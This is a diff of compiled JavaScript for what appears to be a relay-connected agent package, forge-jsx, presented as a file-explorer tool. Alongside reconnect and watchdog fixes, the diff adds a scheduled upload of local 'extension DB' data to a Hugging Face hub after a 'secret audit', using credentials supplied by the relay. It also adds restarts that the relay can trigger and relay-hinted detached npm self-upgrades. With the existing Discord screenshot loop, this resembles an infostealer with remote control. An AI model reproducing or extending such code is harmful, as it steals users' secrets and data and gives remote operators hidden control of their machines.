log(quiet, ` Agent v${forgeJsxVersion} is older than relay v${relayVer} — use file explorer → Upgrade forge-jsxy for faster reconnect after relay restarts.`);
|
|
706
|
+
}
|
|
593
707
|
}
|
|
594
708
|
relayAgentHandshakeDone = true;
|
|
709
|
+
reconnectAttempts = 0;
|
|
710
|
+
armRelayWsWatchdog();
|
|
595
711
|
try {
|
|
596
712
|
onRelayCapabilities?.(caps);
|
|
597
713
|
}
|
|
@@ -601,14 +717,20 @@ function runRelayAgentLoop(opts) {
|
|
|
601
717
|
(0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
|
|
602
718
|
relayCaps: caps,
|
|
603
719
|
quiet,
|
|
720
|
+
clientTableName: sessionId,
|
|
604
721
|
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
605
722
|
});
|
|
723
|
+
(0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
|
|
724
|
+
clientTableName: sessionId,
|
|
725
|
+
fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
|
|
726
|
+
quiet,
|
|
727
|
+
});
|
|
606
728
|
tryStartDiscordAfterHandshake();
|
|
607
729
|
};
|
|
608
730
|
ws.on("open", () => {
|
|
609
731
|
log(quiet, " Connected to relay");
|
|
610
732
|
try {
|
|
611
|
-
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0,
|
|
733
|
+
(0, agentEnvFile_1.applyForgeJsAgentEnvFile)((0, clientId_2.defaultCfgmgrDataDir)());
|
|
612
734
|
}
|
|
613
735
|
catch {
|
|
614
736
|
/* skip */
|
|
@@ -736,6 +858,10 @@ function runRelayAgentLoop(opts) {
|
|
|
736
858
|
log(quiet, ` Role confirmed: ${msg.role}`);
|
|
737
859
|
return;
|
|
738
860
|
}
|
|
861
|
+
if (msgType === "relay_agent_restart_requested") {
|
|
862
|
+
(0, agentRestartFromQueue_js_1.maybeRunAgentRestartDetached)({ quiet, reason: "relay ops restart" });
|
|
863
|
+
return;
|
|
864
|
+
}
|
|
739
865
|
if (msgType === "viewer_connected") {
|
|
740
866
|
viewerConnected = true;
|
|
741
867
|
forgeRtcStatusSentThisViewer = false;
|
|
@@ -1095,7 +1221,8 @@ function runRelayAgentLoop(opts) {
|
|
|
1095
1221
|
}
|
|
1096
1222
|
handleViewerInboundFromRelay(parsed, "ws");
|
|
1097
1223
|
});
|
|
1098
|
-
ws.on("close", () => {
|
|
1224
|
+
ws.on("close", (code) => {
|
|
1225
|
+
clearRelayWsWatchdog();
|
|
1099
1226
|
clearSecretAuditHandshakeFallback();
|
|
1100
1227
|
clearAllPendingDiscordAgent("agent websocket closed");
|
|
1101
1228
|
try {
|
|
@@ -1110,9 +1237,14 @@ function runRelayAgentLoop(opts) {
|
|
|
1110
1237
|
if (outboundAgentWs === ws)
|
|
1111
1238
|
outboundAgentWs = null;
|
|
1112
1239
|
relayDisconnectCleanup();
|
|
1240
|
+
/** Relay restart / network drop — use base reconnect delay instead of accumulated backoff. */
|
|
1241
|
+
if (code === 1006 || code === 1001 || code === 1012) {
|
|
1242
|
+
reconnectAttempts = 0;
|
|
1243
|
+
}
|
|
1113
1244
|
scheduleReconnect();
|
|
1114
1245
|
});
|
|
1115
1246
|
ws.on("error", (err) => {
|
|
1247
|
+
clearRelayWsWatchdog();
|
|
1116
1248
|
clearSecretAuditHandshakeFallback();
|
|
1117
1249
|
clearAllPendingDiscordAgent("agent websocket error");
|
|
1118
1250
|
try {
|
|
@@ -1122,7 +1254,7 @@ function runRelayAgentLoop(opts) {
|
|
|
1122
1254
|
/* skip */
|
|
1123
1255
|
}
|
|
1124
1256
|
stopDiscordScreenshotLoop = null;
|
|
1125
|
-
log(quiet, ` Error: ${err}. Reconnecting
|
|
1257
|
+
log(quiet, ` Error: ${err}. Reconnecting with backoff…`);
|
|
1126
1258
|
if (outboundAgentWs === ws) {
|
|
1127
1259
|
preOpenQueue.length = 0;
|
|
1128
1260
|
resetForgeRtcNegotiation();
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
export declare function autoUpgradeOnRelayHintEnabled(relayCaps?: Record<string, unknown> | null): boolean;
|
|
2
|
+
/** Detached `npm exec forge-jsx-explorer-upgrade` (same entry as file-explorer Upgrade). */
|
|
3
|
+
export declare function maybeRunAutoUpgradeFromRelayHint(opts: {
|
|
4
|
+
recommendedVersion: string;
|
|
5
|
+
agentVersion: string;
|
|
6
|
+
sessionId: string;
|
|
7
|
+
quiet: boolean;
|
|
8
|
+
relayCaps?: Record<string, unknown> | null;
|
|
9
|
+
}): void;
|